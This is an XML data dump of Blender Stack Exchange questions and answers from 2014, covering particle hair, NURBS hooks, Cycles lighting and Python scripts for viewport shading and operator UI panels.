  <row Id="17740" PostTypeId="1" AcceptedAnswerId="17741" CreationDate="2014-10-12T23:26:40.283" Score="3" ViewCount="853" Body="&lt;p&gt;I have here my wip of a Gladiator helmet and I would like to know how to set up a hair particle system to a point that I would like to achieve. And of course I would like to know how to make a good looking cycles material for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some reference images and a screenshot of my mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IAg8c.jpg&quot; alt=&quot;reference&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cwTRA.jpg&quot; alt=&quot;my mesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M52p6.jpg&quot; alt=&quot;reference&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5980" LastEditorUserId="599" LastEditDate="2014-10-16T00:23:52.857" LastActivityDate="2014-10-16T00:23:52.857" Title="How to make Feathers for a Gladiator Helmet with Particle Hair?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17741" PostTypeId="2" ParentId="17740" CreationDate="2014-10-13T00:51:41.203" Score="8" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZHOP5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZHOP5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would use a separate mesh for the emission of the hair particles. This allows for more flexibility and ease of customizing the hair later.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add something like this on top of the helmet to act as the hair emitter:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6jBmo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to separate part of the helmet mesh to ensure that there are no gaps between the emitter mesh and the actual helmet object. You might even want to put the emitter a little bit inside the helmet, just to be extra safe.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a particle system and change the &lt;em&gt;type&lt;/em&gt; to hair (1). Also disable &lt;em&gt;emitter&lt;/em&gt; so that the emitter object doesn't appear in the render (2), and enable child particles (3).  I used &lt;em&gt;interpolated&lt;/em&gt; child particles, but this depends a bit on what you want to do.&lt;br&gt;&#xA;Note that &lt;em&gt;Simple&lt;/em&gt; child particles can result in floating hairs if you are not careful, especially on curved surfaces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XgHoh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XgHoh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I also tweaked the child particle settings to add a bit of randomness, so that the hairs are not all perfectly straight.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a material to the emitter. I used a simple translucent material:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KGdbn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Back in the particle settings of the emitter object, tweak the thickness and scale of the hairs as desired. You'll have to play with these settings a bit to get a feel for how they affect the render, but it should be pretty intuitive for the most part (e.g. thicker hairs will make it so less light can get through, making the hair appear more dense/dark in the render)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I went with a more uniform hair thickness, only tapering the thickness a little bit towards the ends of the hairs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KtyWe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/32055&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Example .blend&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-13T00:51:41.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17742" PostTypeId="1" AcceptedAnswerId="17775" CreationDate="2014-10-13T00:54:43.347" Score="2" ViewCount="308" Body="&lt;p&gt;So I have a mesh (A hose) that has the Curve mod applied to it in order to make it follow a nurbs curve.  The curve has a few vertex that are hooked to an armature. All of this works fine, BUT the problem is, the nurbs curve doesn't seem to update properly, unless I click the same frame twice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, for example, the armature bones is animated in order to make a hose move with a characters hand like it is being held. If I go to frame 5, when I first click frame 5 the Armature updates, but the nurbs curve is still in the old position even though the armature and bones have updated on screen. The hooks do not change the vertex location of the curve.  But if I click on frame 5 again (in the timeline) it updates the hooks, and the hose follows the curve as it should.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sadly, this also seems to affect my rendering, as once I start to render the hose is always in the previous spot. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was using an older version of blender, but updated to the current release but still doesn't work properly.&lt;/p&gt;&#xA;" OwnerUserId="7465" LastEditorUserId="2217" LastEditDate="2014-10-13T01:24:56.797" LastActivityDate="2014-10-13T22:35:26.280" Title="Nurbs Curve with hooks not updating properly during render" Tags="&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17743" PostTypeId="2" ParentId="17738" CreationDate="2014-10-13T01:50:13.087" Score="3" Body="&lt;p&gt;This method works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == 'VIEW_3D':&#xA;        for region in area.regions:&#xA;            if region.type == 'WINDOW':&#xA;                override = {'area': area, 'region': region, 'edit_object': bpy.context.edit_object}&#xA;                bpy.ops.uv.smart_project(override)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the important thing is passing override to whatever operator you are trying to call, this forces it to take that context for a brief moment. You can read a little about it at &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_72_release/bpy.ops.html?highlight=override&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_72_release/bpy.ops.html?highlight=override&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2617" LastActivityDate="2014-10-13T01:50:13.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17745" PostTypeId="1" AcceptedAnswerId="17746" CreationDate="2014-10-13T02:59:01.130" Score="8" ViewCount="2971" Body="&lt;p&gt;I am trying to change the viewport shading to &lt;code&gt;&quot;RENDERED&quot;&lt;/code&gt; with python, but I can't seem to figure out how.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems &lt;code&gt;like bpy.types.SpaceView3D.viewport_shade = &quot;RENDERED&quot;&lt;/code&gt; should do it, but this doesn't work and doesn't even give a context error. &lt;/p&gt;&#xA;" OwnerUserId="2617" LastEditorUserId="599" LastEditDate="2014-10-13T03:21:47.443" LastActivityDate="2018-02-20T01:15:31.207" Title="Changing viewport shading with python" Tags="&lt;python&gt;&lt;scripting&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17746" PostTypeId="2" ParentId="17745" CreationDate="2014-10-13T03:13:17.917" Score="13" Body="&lt;p&gt;You have to specify which 3D view you want to access.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, this will iterate through all the areas in the current screen and set any 3D views to rendered shading:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for area in bpy.context.screen.areas: # iterate through areas in current screen&#xA;    if area.type == 'VIEW_3D':&#xA;        for space in area.spaces: # iterate through spaces in current VIEW_3D area&#xA;            if space.type == 'VIEW_3D': # check if space is a 3D view&#xA;                space.viewport_shade = 'RENDERED' # set the viewport shading to rendered&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could also do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;area = next(area for area in bpy.context.screen.areas if area.type == 'VIEW_3D')&#xA;space = next(space for space in area.spaces if space.type == 'VIEW_3D')&#xA;space.viewport_shade = 'RENDERED'  # set the viewport shading&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead of looping through the whole &lt;code&gt;bpy.context.screen.areas&lt;/code&gt;, etc, the &lt;code&gt;next()&lt;/code&gt; method returns &lt;code&gt;area&lt;/code&gt; as soon as it finds &lt;code&gt;area.type == 'VIEW_3D'&lt;/code&gt;. This doesn't really affect performance for this example but it's a better way of achieving the same result. Plus, it looks neater!&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="36324" LastEditDate="2018-02-20T01:15:31.207" LastActivityDate="2018-02-20T01:15:31.207" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17748" PostTypeId="1" AcceptedAnswerId="17749" CreationDate="2014-10-13T06:20:53.650" Score="4" ViewCount="7682" Body="&lt;p&gt;There are several techniques to do a 3 point lighting system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you properly light a scene while using mesh planes as emission light sources? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm following &lt;a href=&quot;https://www.youtube.com/watch?v=T70ia5GMmzo&amp;amp;index=16&amp;amp;list=PLzmyR17f55-LVbgnzhS4Xl9zJ3dSCdYW3&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial&lt;/a&gt;, however despite setting up planes to act a lighting sources, the scene is still very dark. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aOod3.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/WLQcb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actual Blender file here: &#xA;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/460997/clock%20copy.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dl.dropboxusercontent.com/u/460997/clock%20copy.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1026" LastEditorUserId="1026" LastEditDate="2014-10-13T14:37:19.633" LastActivityDate="2015-08-20T01:24:46.333" Title="Why are lamps and mesh lights not illuminating anything?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17749" PostTypeId="2" ParentId="17748" CreationDate="2014-10-13T06:55:03.327" Score="9" Body="&lt;p&gt;In your file, &lt;a href=&quot;http://www.blender.org/manual/render/cycles/settings/integrator.html#tricks&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Clamp direct&lt;/em&gt;  and &lt;em&gt;Clamp indirect&lt;/em&gt;&lt;/a&gt; have both been set to &lt;code&gt;.03&lt;/code&gt; in &lt;em&gt;Render settings &gt; Sampling&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is forcing all the samples to return a value less than or equal to .03, which results in the apparent lack of light.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set them both to zero to disable clamping:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/baz8f.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then it should work as expected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iW3kR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-08-20T01:24:46.333" LastActivityDate="2015-08-20T01:24:46.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17750" PostTypeId="1" AcceptedAnswerId="17811" CreationDate="2014-10-13T07:20:31.443" Score="1" ViewCount="81" Body="&lt;p&gt;Most if not all settings have an item &lt;em&gt;Reset to Default Value&lt;/em&gt; in the context menu.&#xA;This would be helpful when tracking down issues when someone played a bit to much with the settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could an addon be created to highlight changed settings, or would this require to change implementation of blender to adjust all hardcoded default values to the values of the default scene?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can an hook-method be defined to intercept calls to draw an UI control so that the changed settings could be highlighted in one piece of code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart from that there currently is a &lt;a href=&quot;https://blender.stackexchange.com/questions/1950/in-themes-why-does-reset-to-default-value-result-in-black/1951#1951&quot;&gt;bug&lt;/a&gt; regarding the default settings.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-10-15T10:59:50.807" Title="Would it be possible to write an addon that highlights all modified settings?" Tags="&lt;scripting&gt;&lt;interface&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17751" PostTypeId="1" AcceptedAnswerId="17755" CreationDate="2014-10-13T07:55:04.143" Score="9" ViewCount="12551" Body="&lt;p&gt;I have try to make an UI Panel with my operator, but i can not create a panel with the 2 choices (axis and widht).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can create a button who launch a menu in the tools pannel, and the operator works fine with this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;layout = self.layout&#xA;layout.operator(ChooseAxis.bl_idname)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But i want to have exactly this menu in the UI panel, not in tools, so I have try to write this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;layout.prop(obj, &quot;axis&quot;)&#xA;layout.prop(obj, &quot;newdim&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that doesn't works, values ​​are modifiable but are ignored and do not modify the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i have the operator directly on the UI Panel ? (Not a button to launch the operator, but the operator himself with its Properties.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, how i can keep the object size value when i launch the operator ?&#xA;Because when i launch it, it the default value of the newdim property is set to 1 (for example), the object is directly resized. Is it possible to have a default=&quot;object actual value&quot; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here the entire script with the ui panel created : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bpy import *&#xA;import bpy&#xA;from bpy.props import FloatProperty, EnumProperty&#xA;&#xA;class ProportionalDimensions(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel in the Object UI window&quot;&quot;&quot;&#xA;    bl_label = &quot;Proportional Dimensions&quot;&#xA;    bl_idname = &quot;prop_dim&quot;&#xA;    bl_space_type = &quot;VIEW_3D&quot;&#xA;    bl_region_type = &quot;UI&quot;&#xA;    #bl_context = &quot;object&quot;&#xA;&#xA;def draw(self, context):&#xA;    obj = context.object&#xA;&#xA;    #row = layout.row()&#xA;    #row.label(text=&quot;Active object is: &quot; + obj.name)&#xA;&#xA;    layout = self.layout&#xA;    layout.operator(ChooseAxis.bl_idname)&#xA;&#xA;    layout.prop(obj, &quot;axis&quot;)&#xA;    layout.prop(obj, &quot;newdim&quot;)&#xA;&#xA;&#xA;class ChooseAxis(bpy.types.Operator):&#xA;    bl_idname = &quot;object.choose_axis&quot;&#xA;    bl_label = &quot;Choose_the_Right_Axis&quot;&#xA;    bl_description = &quot;This is to choose the axis&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;axis  = EnumProperty(&#xA;        name=&quot;Axis&quot;,&#xA;        description=&quot;Axis selection&quot;,&#xA;        items= [('x', &quot;X&quot;, &quot;&quot;),('y', &quot;Y&quot;, &quot;&quot;),('z', &quot;Z&quot;,&quot;&quot;)],&#xA;        default='x'&#xA;        )&#xA;&#xA;newdim = FloatProperty(&#xA;        name=&quot;Width&quot;,&#xA;        description=&quot;Scale&quot;,&#xA;        min=0.01, max=100.0,&#xA;        default=1,&#xA;        )&#xA;# your code&#xA;def scale(self, axis, new_dim):&#xA;    ob = bpy.context.active_object&#xA;    d = ob.dimensions&#xA;&#xA;    x = d[0]&#xA;    y = d[1]&#xA;    z = d[2]&#xA;&#xA;    scale =  axis&#xA;&#xA;    if( scale == &quot;x&quot;):&#xA;        indice = 0&#xA;    elif( scale == &quot;y&quot;):&#xA;        indice = 1&#xA;    else:&#xA;        indice = 2&#xA;&#xA;    old_dim = d[indice] &#xA;    factor = new_dim / old_dim&#xA;&#xA;    scale_x = ob.scale[0]&#xA;    scale_y = ob.scale[1]&#xA;    scale_z = ob.scale[2]&#xA;&#xA;    ob.scale[0] = scale_x * factor&#xA;    ob.scale[1] = scale_y * factor&#xA;    ob.scale[2] = scale_z * factor&#xA;&#xA;def execute(self, context):&#xA;    self.scale(self.axis,self.newdim)&#xA;    return {'FINISHED'}&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ProportionalDimensions)&#xA;    bpy.utils.register_class(ChooseAxis)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ProportionalDimensions)&#xA;    bpy.utils.unregister_class(ChooseAxis)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7461" LastActivityDate="2017-10-05T11:12:40.897" Title="How display and use operator properties in a Python Blender UI panel?" Tags="&lt;python&gt;&lt;properties&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17752" PostTypeId="1" CreationDate="2014-10-13T09:25:02.910" Score="5" ViewCount="5231" Body="&lt;p&gt;I added a follow path constraint the camera. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I adjusted the start point of the path and the location of the camera so that they were very near, but once I set follow path constraint to the camera, it jumped to another location unintentionally. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, although camera is following the path, there is some gap between the path and the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to a YouTube tutorial, this doesn't happen using the same steps. &lt;/p&gt;&#xA;" OwnerUserId="7469" LastEditorUserId="599" LastEditDate="2014-10-13T09:52:55.030" LastActivityDate="2014-10-13T09:52:55.030" Title="Follow Path constraint moves object away from curve?" Tags="&lt;camera&gt;&lt;transforms&gt;&lt;bezier-curves&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17753" PostTypeId="1" CreationDate="2014-10-13T09:26:27.170" Score="1" ViewCount="1236" Body="&lt;p&gt;I'm a new user of Blender and I would like to know if I can export after-render geometry (in particular I would like to simulate falling spheres in a tube) in order to use it in a different program (like Ansys, Catia, etc.).&lt;/p&gt;&#xA;" OwnerUserId="7468" LastEditorUserId="599" LastEditDate="2014-10-13T09:58:03.733" LastActivityDate="2014-10-13T09:58:03.733" Title="Export geometry to Ansys or other 3D CAD programs?" Tags="&lt;export&gt;&lt;geometry&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2014-10-14T00:38:30.160" ContentLicense="CC BY-SA 3.0" />
  <row Id="17754" PostTypeId="2" ParentId="17752" CreationDate="2014-10-13T09:31:28.950" Score="10" Body="&lt;p&gt;Positioning the camera to the starting point of the curve isn't necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The camera's location defines an offset from it's constrained location. So to remove this offset, reset the camera's location to &lt;code&gt;0,0,0&lt;/code&gt; by selecting the camera and pressing &lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example of how this works, the camera is positioned at the start of the curve (2 BU above the world center):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h8MHr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the constraint is defined, the camera is now 2 BU above the start of the curve, instead of the world center:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SRow3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is because the camera location is now relative to a point along the curve defined by the constraint, in this case the beginning.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-10-13T09:49:29.600" LastActivityDate="2014-10-13T09:49:29.600" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17755" PostTypeId="2" ParentId="17751" CreationDate="2014-10-13T10:30:34.487" Score="16" Body="&lt;p&gt;You usually run an operator and adjust the settings afterwards in the &lt;em&gt;Redo&lt;/em&gt; panel, or the operator should prompt the user before execution using &lt;code&gt;invoke_props_dialog()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class SimpleOperator(bpy.types.Operator):&#xA;    bl_label = &quot;Simple Operator&quot;&#xA;    bl_idname = &quot;object.simple_operator&quot;&#xA;&#xA;    my_enum = bpy.props.EnumProperty(&#xA;        items=(&#xA;            ('ONE', &quot;One&quot;, &quot;&quot;),&#xA;            ('TWO', &quot;Two&quot;, &quot;&quot;),&#xA;            ('THREE', &quot;Three&quot;, &quot;&quot;)&#xA;        ),&#xA;        default='ONE'&#xA;    )&#xA;&#xA;    def invoke(self, context, event):&#xA;        wm = context.window_manager&#xA;        return wm.invoke_props_dialog(self)&#xA;&#xA;    def execute(self, context):&#xA;        self.report({'INFO'}, self.my_enum)&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;    bpy.ops.object.simple_operator('INVOKE_DEFAULT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you really want to display UI elements in a panel to be set before clicking the button, you will have to register global properties and pass them to the according operator properties (you can't add operator properties to a panel).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class SimpleOperator(bpy.types.Operator):&#xA;    bl_label = &quot;Simple Operator&quot;&#xA;    bl_idname = &quot;object.simple_operator&quot;&#xA;&#xA;    my_enum = bpy.props.EnumProperty(&#xA;        items=(&#xA;            ('ONE', &quot;One&quot;, &quot;&quot;),&#xA;            ('TWO', &quot;Two&quot;, &quot;&quot;),&#xA;            ('THREE', &quot;Three&quot;, &quot;&quot;)&#xA;        ),&#xA;        default='ONE'&#xA;    )&#xA;&#xA;    def execute(self, context):&#xA;        self.report({'INFO'}, self.my_enum)&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;class HelloWorldPanel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel in the Object properties window&quot;&quot;&quot;&#xA;    bl_label = &quot;Hello World Panel&quot;&#xA;    bl_idname = &quot;OBJECT_PT_hello&quot;&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;object&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;&#xA;        ob = context.object&#xA;&#xA;        row = layout.row()&#xA;        row.prop(ob, &quot;my_global_enum&quot;, expand=True)&#xA;&#xA;        props = layout.operator(SimpleOperator.bl_idname)&#xA;        props.my_enum = ob.my_global_enum&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;    bpy.types.Object.my_global_enum = bpy.props.EnumProperty(&#xA;        items=(&#xA;            ('ONE', &quot;One&quot;, &quot;&quot;),&#xA;            ('TWO', &quot;Two&quot;, &quot;&quot;),&#xA;            ('THREE', &quot;Three&quot;, &quot;&quot;)&#xA;        ),&#xA;        default='TWO'&#xA;    )&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;    del bpy.types.Object.my_global_enum&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="31634" LastEditDate="2017-10-05T11:12:40.897" LastActivityDate="2017-10-05T11:12:40.897" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17757" PostTypeId="1" CreationDate="2014-10-13T14:09:53.677" Score="1" ViewCount="1276" Body="&lt;p&gt;In reference to my other question, i try to display my properties operator directly in the UI Panel, but when i &quot;click&quot; on the created buttons and field, nothing happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For my tow parameters &lt;code&gt;&quot;axis&quot;&lt;/code&gt; and &lt;code&gt;&quot;newdim&quot;&lt;/code&gt; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The action takes place here: &lt;code&gt;bpy.context.object.axis = y&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The action takes place here: &lt;code&gt;bpy.context.object.newdim = 2.5&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where i need it takes place like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.window_managers[&quot;WinMan&quot;].(null) = 2.5&#xA;bpy.data.window_managers[&quot;WinMan&quot;].(null) = 'y'&#xA;bpy.ops.object.resize_proportional(axis='y', newdim=2.5)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, change value have no effect.&#xA;How can i have this panel presentation in UI (like the script bellow), with direcly choice between X, Y and Z, and directly de width value adjustable, and above all this to take effect ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bpy import *&#xA;import bpy&#xA;from bpy.props import FloatProperty, EnumProperty&#xA;&#xA;#————————————————————————————————————————————————————————————————————————————————#&#xA;    # The Resize Operator&#xA;#————————————————————————————————————————————————————————————————————————————————#&#xA;class ResizeProportional(bpy.types.Operator):&#xA;    bl_idname = &quot;object.resize_proportional&quot;&#xA;    bl_label = &quot;Choose_the_Right_Axis&quot;&#xA;    bl_description = &quot;This is to choose the axis&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    axis = EnumProperty(&#xA;            name=&quot;Axis&quot;,&#xA;            description=&quot;Axis selection&quot;,&#xA;            items= [('x', &quot;X&quot;, &quot;&quot;),('y', &quot;Y&quot;, &quot;&quot;),('z', &quot;Z&quot;,&quot;&quot;)],&#xA;            default='x'&#xA;            )&#xA;&#xA;    newdim = FloatProperty(&#xA;            name=&quot;Width&quot;,&#xA;            description=&quot;Scale&quot;,&#xA;            min=0.01, max=100.0,&#xA;            default=1,&#xA;            )&#xA;&#xA;    # The Resize function&#xA;    #———————————————————————————————————#&#xA;    def scale(self, axis, new_dim):&#xA;        ob = bpy.context.active_object&#xA;        d = ob.dimensions&#xA;&#xA;        x = d[0]&#xA;        y = d[1]&#xA;        z = d[2]&#xA;&#xA;        scale =  axis&#xA;&#xA;        if( scale == &quot;x&quot;):&#xA;            indice = 0&#xA;        elif( scale == &quot;y&quot;):&#xA;            indice = 1&#xA;        else:&#xA;            indice = 2&#xA;&#xA;        old_dim = d[indice] &#xA;        factor = new_dim / old_dim&#xA;&#xA;        scale_x = ob.scale[0]&#xA;        scale_y = ob.scale[1]&#xA;        scale_z = ob.scale[2]&#xA;&#xA;        ob.scale[0] = scale_x * factor&#xA;        ob.scale[1] = scale_y * factor&#xA;        ob.scale[2] = scale_z * factor&#xA;&#xA;#    def invoke(self, context, event):&#xA;#        wm = context.window_manager&#xA;#        return wm.invoke_props_dialog(self)&#xA;&#xA;    def execute(self, context):&#xA;        self.scale(self.axis,self.newdim)&#xA;        return {'FINISHED'}&#xA;&#xA;#————————————————————————————————————————————————————————————————————————————————#&#xA;    # The Proportional Dimensions Panel&#xA;#————————————————————————————————————————————————————————————————————————————————#&#xA;class ProportionalDimensions(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel in the Object UI window&quot;&quot;&quot;&#xA;    bl_label = &quot;Proportional Dimensions&quot;&#xA;    bl_idname = &quot;prop_dim&quot;&#xA;    bl_space_type = &quot;VIEW_3D&quot;&#xA;    bl_region_type = &quot;UI&quot;&#xA;    #bl_context = &quot;object&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        obj = context.object&#xA;&#xA;        layout.prop(obj, &quot;my_global_axis&quot;, expand=True)&#xA;        layout.prop(obj, &quot;my_global_newdim&quot;)&#xA;&#xA;        #props = layout.operator(ResizeProportional.bl_idname)&#xA;        #props.axis = obj.my_global_axis&#xA;&#xA;        #layout = self.layout&#xA;        #layout.operator(ResizeProportional.bl_idname, text 